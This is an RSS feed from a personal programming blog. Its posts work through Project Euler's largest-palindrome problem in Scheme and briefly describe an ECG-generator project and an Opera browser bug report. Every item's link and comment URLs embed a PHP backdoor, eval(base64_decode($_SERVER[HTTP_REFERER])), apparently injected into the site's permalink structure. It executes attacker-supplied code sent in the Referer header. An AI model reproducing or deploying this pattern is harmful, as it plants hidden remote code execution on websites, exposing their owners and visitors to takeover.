<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Ivan Lakhturov</title>
	<atom:link href="http://lakhturov.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://lakhturov.info</link>
	<description>yet another programmer's weblog</description>
	<pubDate>Sat, 19 Dec 2009 16:51:27 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Problem 4 ver. 4: optimization</title>
		<link>http://lakhturov.info/2009/12/18/problem-4-ver-4-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/12/18/problem-4-ver-4-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 18:37:05 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[projecteuler]]></category>

		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=221</guid>
		<description><![CDATA[Find the largest palindrome made from the product of two 3-digit numbers.
And the last scratch for now. It is possible to prove that 11 divides a palindromic number. Indeed,  and here  is a multiple of 11 (divisibility by 11 criterion).
The factor 11 can belong to a - and in this case we step [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the largest palindrome made from the product of two 3-digit numbers.</p></blockquote>
<p>And the last scratch for now. It is possible to prove that 11 divides a palindromic number. Indeed, <center><img src="http://lakhturov.info/wordpress/wp-content/cache/tex_8bfa201e76648a25814995297e4b3c4e.png" align="absmiddle" class="tex" alt="N = \sum_{i=0}^k (10^{2k-i+1} d_i + 10^i d_i) = \sum 10^i d_i (10^{2(k-i)+1} + 1) = \sum 10^i d_i m_i " /></center> and here <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_342e772474b691ac87dac30aeef596c0.png" align="absmiddle" class="tex" alt="m_i" /> is a multiple of 11 (divisibility by 11 criterion).</p>
<p>The factor 11 can belong to a - and in this case we step just 1 in b. But if 11 doesn&#8217;t divide a, then we can increase b by 11 each time.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>find-largest-palindrome-using<span class="nu0">-11</span> k<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>m <span class="br0">&#40;</span>- <span class="br0">&#40;</span>^ <span class="nu0">10</span> k<span class="br0">&#41;</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#93;</span> <span class="br0">&#91;</span>m/<span class="nu0">10</span> <span class="br0">&#40;</span>^ <span class="nu0">10</span> <span class="br0">&#40;</span>- k <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>m<span class="nu0">-11</span> <span class="br0">&#40;</span>* <span class="nu0">11</span> <span class="br0">&#40;</span>div m <span class="nu0">11</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>iter a b largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt; a m/<span class="nu0">10</span><span class="br0">&#41;</span> largest-palindrome</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>step <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>= <span class="nu0">0</span> <span class="br0">&#40;</span>mod a <span class="nu0">11</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="nu0">1</span> <span class="nu0">11</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#91;</span>next-a<span class="nu0">-11</span>? <span class="br0">&#40;</span>= <span class="nu0">0</span> <span class="br0">&#40;</span>mod <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> <span class="nu0">11</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt; b m/<span class="nu0">10</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> next-a<span class="nu0">-11</span>? m m<span class="nu0">-11</span><span class="br0">&#41;</span> largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>n <span class="br0">&#40;</span>* a b<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt;= n largest-palindrome<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>palindrome-<span class="kw1">number?</span> n<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m n<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter a <span class="br0">&#40;</span>- b step<span class="br0">&#41;</span> largest-palindrome<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter m m <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>This speeds up the previous result around ten times, leaving an asymptotic behavior the same. The memory use is the same O(1).</p>
<p>Let&#8217;s look at results:<br />
k = 2 => N = 9009<br />
k = 3 => N = 906609<br />
k = 4 => N = 99000099<br />
k = 5 => N = 9966006699<br />
k = 6 => N = 999000000999<br />
k = 7 => N = 99956644665999<br />
k = 8 => N = 9999000000009999<br />
&#8230;<br />
<del>We could improve our algo drastically, if proven that the sought-for palindrome is less or equal <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_a90b08144d97e4a8b23804786d12c25a.png" align="absmiddle" class="tex" alt="n - \sqrt n" /> (and mirrored). I have the feeling that for even k it is equal. But I don&#8217;t know how to prove it.</del> (I calculated for k = 10 and this does not hold, N = 99999834000043899999).</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/12/18/problem-4-ver-4-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Problem 4 ver. 3: optimization</title>
		<link>http://lakhturov.info/2009/12/17/problem-4-ver-3-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/12/17/problem-4-ver-3-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 09:40:10 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[projecteuler]]></category>

		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=213</guid>
		<description><![CDATA[Find the largest palindrome made from the product of two 3-digit numbers.
An author, however, advises a simpler approach. As we are looking for a palindrome a*b, let&#8217;s iterate a and b in a top-down direction. After finding some palindrome, impose it as a top boundary for palindromes, that is, iterating in the inner loop for [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the largest palindrome made from the product of two 3-digit numbers.</p></blockquote>
<p>An author, however, advises a simpler approach. As we are looking for a palindrome a*b, let&#8217;s iterate a and b in a top-down direction. After finding some palindrome, impose it as a top boundary for palindromes, that is, iterating in the inner loop for b, we stop when a*b cannot be large than that anymore. If we found a new palindrome, it will replace the boundary. Stop condition is finishing the outer loop in a, i.e. when it drops to 2-digits number (k-1, generally speaking).</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>find-largest-palindrome-with-cutoffs k<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>m <span class="br0">&#40;</span>- <span class="br0">&#40;</span>^ <span class="nu0">10</span> k<span class="br0">&#41;</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#93;</span> <span class="br0">&#91;</span>m/<span class="nu0">10</span> <span class="br0">&#40;</span>^ <span class="nu0">10</span> <span class="br0">&#40;</span>- k <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>iter a b largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt; a m/<span class="nu0">10</span><span class="br0">&#41;</span> largest-palindrome</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt; b m/<span class="nu0">10</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>n <span class="br0">&#40;</span>* a b<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt;= n largest-palindrome<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>palindrome-<span class="kw1">number?</span> n<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m n<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter a <span class="br0">&#40;</span>- b <span class="nu0">1</span><span class="br0">&#41;</span> largest-palindrome<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter m m <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Complexity in memory now is just O(1). Performance complexity by my impression is better than in the previous variant. The outer loop has n - n/10 steps, so it cannot be less than O(n). Assuming that a desired palindrome (left half of it, actually) lies close to <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_a90b08144d97e4a8b23804786d12c25a.png" align="absmiddle" class="tex" alt="n - \sqrt n" /> (which should be proved, strictly speaking), we make no more than <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_bde54a7a0480269308f95bc229a7e73d.png" align="absmiddle" class="tex" alt="n \cdot \sqrt n = n^{3/2}" /> operations until find it, and no more than the same <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_a62b40d14e97e9911298ab5fddb0ace3.png" align="absmiddle" class="tex" alt="n^{3/2}" /> afterwards.</p>
<p>This is the worst case, however, and I hope that we find some worse-than-ideal palindrome quick enough. Suppose, we can use the estimate <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_a90b08144d97e4a8b23804786d12c25a.png" align="absmiddle" class="tex" alt="n - \sqrt n" /> ab origin, i.e. the inequality <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_231557800105ad2abc9c5af1afe28fc7.png" align="absmiddle" class="tex" alt="f \cdot g < \sqrt n \cdot \sqrt n = n" /> holds, where f = n - a, g = n - b. Then we can calculate an estimate of operations as area under a curve y = n / x: <center><img src="http://lakhturov.info/wordpress/wp-content/cache/tex_c7efbfe1d9cbe80926acd0d405de03de.png" align="absmiddle" class="tex" alt="\int_1^n \frac n x dx = n \cdot \ln n" /></center></p>
<p>So, the actual algo performance is between <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_642b5c296a6302b71faafaed96fae500.png" align="absmiddle" class="tex" alt="O(n \ln n)" /> and <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_296753d112d6c7aa7c0ebbcebcfd326a.png" align="absmiddle" class="tex" alt="O(n^\frac 3 2)" />.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/12/17/problem-4-ver-3-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Problem 4 ver. 2: optimization</title>
		<link>http://lakhturov.info/2009/11/29/problem-4-ver-2-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/11/29/problem-4-ver-2-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 14:14:35 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[projecteuler]]></category>

		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=206</guid>
		<description><![CDATA[Find the largest palindrome made from the product of two 3-digit numbers.
Last time we had a straightforward algo with  complexity and at least O(n) memory use. Now let&#8217;s enhance that. Instead of iterating over multipliers it&#8217;s reasonable to iterate over palindromes, starting from the largest. I.e. over sequence 999999, 998899, 997799, and so on.
Remark. [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the largest palindrome made from the product of two 3-digit numbers.</p></blockquote>
<p>Last time we had a straightforward algo with <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_9f84a66d88d24c3b1bc91df5b5346a13.png" align="absmiddle" class="tex" alt="O(n^2)" /> complexity and at least O(n) memory use. Now let&#8217;s enhance that. Instead of iterating over multipliers it&#8217;s reasonable to iterate over palindromes, starting from the largest. I.e. over sequence 999999, 998899, 997799, and so on.</p>
<p>Remark. The largest product of two 3-digit numbers is 999 * 999 = 998001. So, in principle, we could start from the palindrome 997799. But this saves just 2 iterations.</p>
<p>Having a palindrome m, we factorize it and look at all the subsets of the factorization. Assume, we have one subset already. Let&#8217;s name the product of those factors as p. If this number p has k digits (k = 3 for now) and the number m/p has k digits, than we found the palindrome, which is a product of two k-digit numbers.</p>
<p>In Scheme that will be written as:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>find-largest-palindrome-via-factorization k<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>correct-<span class="kw1">length</span>? m<span class="br0">&#41;</span> <span class="br0">&#40;</span>= <span class="br0">&#40;</span><span class="kw1">length</span> <span class="br0">&#40;</span>digits m<span class="br0">&#41;</span><span class="br0">&#41;</span> k<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>iter <span class="kw1">l</span><span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">let</span>* <span class="br0">&#40;</span><span class="br0">&#91;</span>n <span class="br0">&#40;</span>make-number-from-digits <span class="br0">&#40;</span><span class="kw1">append</span> <span class="br0">&#40;</span><span class="kw1">reverse</span> <span class="kw1">l</span><span class="br0">&#41;</span> <span class="kw1">l</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#91;</span>factors <span class="br0">&#40;</span><span class="kw1">map</span> mul-<span class="kw1">list</span> <span class="br0">&#40;</span>subsets <span class="br0">&#40;</span>factorize n minimal-factor-sqrt-complexity<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#91;</span>factors <span class="br0">&#40;</span>filter correct-<span class="kw1">length</span>? factors<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#91;</span>factors <span class="br0">&#40;</span>filter <span class="br0">&#40;</span><span class="kw1">lambda</span> <span class="br0">&#40;</span>m<span class="br0">&#41;</span> <span class="br0">&#40;</span>correct-<span class="kw1">length</span>? <span class="br0">&#40;</span>/ n m<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> factors<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">null?</span> factors<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>digits <span class="br0">&#40;</span>- <span class="br0">&#40;</span>make-number-from-digits <span class="kw1">l</span><span class="br0">&#41;</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> n<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">;(display (list n &#8216;= (car factors) &#8216;* (/ n (car factors)))))))</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter <span class="br0">&#40;</span>one-number-multiple-times <span class="nu0">9</span> k<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Here I used a few new util functions:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>make-number-from-radix <span class="kw1">list</span> k<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>iter <span class="kw1">l</span> <span class="kw1">f</span><span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">null?</span> <span class="kw1">l</span><span class="br0">&#41;</span> <span class="nu0">0</span> <span class="br0">&#40;</span>+ <span class="br0">&#40;</span>* <span class="br0">&#40;</span><span class="kw1">car</span> <span class="kw1">l</span><span class="br0">&#41;</span> <span class="kw1">f</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span><span class="kw1">cdr</span> <span class="kw1">l</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>* <span class="kw1">f</span> k<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter <span class="kw1">list</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>make-number-from-digits <span class="kw1">list</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>make-number-from-radix <span class="kw1">list</span> <span class="nu0">10</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p> which make numbers out of their base-k representation.</p>
<p>Complexity now is hard to calculate. The worst case scenario gives quite a bad upper boundary. However, the worst case will never be realized.</p>
<p>Looking at what it gives out (9009, 906609, 99000099, 9966006699, 999000000999, &#8230;), I could guess that the required palindrome is found after roughly <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_43b78eed6b394a9337b90c2a4cbd7f55.png" align="absmiddle" class="tex" alt="\sqrt n" /> iterations. So, in total I hope for less than <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_9f84a66d88d24c3b1bc91df5b5346a13.png" align="absmiddle" class="tex" alt="O(n^2)" /> complexity.</p>
<p>The memory use depends on factorizations - we store one whenever a palindrome is taken and lose it when proceed with the next palindrome.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/11/29/problem-4-ver-2-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Real-time ECG-generator</title>
		<link>http://lakhturov.info/2009/07/28/real-time-ecg-generator/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/07/28/real-time-ecg-generator/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 18:06:05 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=198</guid>
		<description><![CDATA[Some years ago I accomplished a project of the real-time ECG-generator (the text is in Russian) for Spectromed-UA. I wrote a soft part in Delphi, and another guy dealt with an electronics part.
The device is connected to PC and sends out a signal via LPT to a DAC outside. A signal could be rectangular (meander), [...]]]></description>
			<content:encoded><![CDATA[<p>Some years ago I accomplished a project of <a href="http://spectromed.com.ua/Generator/ECG-generator/ecg-generator.html">the real-time ECG-generator</a> (the text is in Russian) for Spectromed-UA. I wrote a soft part in Delphi, and another guy dealt with an electronics part.</p>
<p>The device is connected to PC and sends out a signal via LPT to a DAC outside. A signal could be rectangular (meander), sinusoidal and ECG-like. (ECG is the electrocardiogram by the way). The &#8216;heartbeat&#8217; of the latest one can be modulated in time. A subprogram to play out real ECG was included. Some noise modulation was included as well.</p>
<p>That was designed to test cardio-analyzers and similar devices. Small and neat project, as I remember. There was no support for the most pathological arrhythmias, however.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/07/28/real-time-ecg-generator/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Speed dial in Opera 10.0</title>
		<link>http://lakhturov.info/2009/07/08/speed-dial-in-opera-100/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/07/08/speed-dial-in-opera-100/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 12:59:58 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Linux]]></category>

		<category><![CDATA[bug]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=194</guid>
		<description><![CDATA[Opera 10 beta hits portages with its customizable speed dial feature. As for me, that could be better.
Why not to customize the grid of speed dial in such a way that a user can choose independently x-y size, with discretization 1 column-row? With my usual portrait display mode all the cells are concentrated in the [...]]]></description>
			<content:encoded><![CDATA[<p>Opera 10 beta hits portages with its customizable speed dial feature. As for me, that could be better.</p>
<p>Why not to customize the grid of speed dial in such a way that a user can choose independently x-y size, with discretization 1 column-row? With my usual portrait display mode all the cells are concentrated in the center of a screen.</p>
<p>Something has to be done with shortcuts Ctrl+digit. Nine shortcuts are not enough for 25 cells anymore. I think that could be something like Ctrl+0, [switched to speed dial mode], digit, digit [i.e. up to 99 choices].</p>
<p>A hundred of those tabs should be ok, as for me.</p>
<p>I filed this bugreport them (reference email DSK-258394 at bugs.opera.com).</p>
]]></content:encoded>
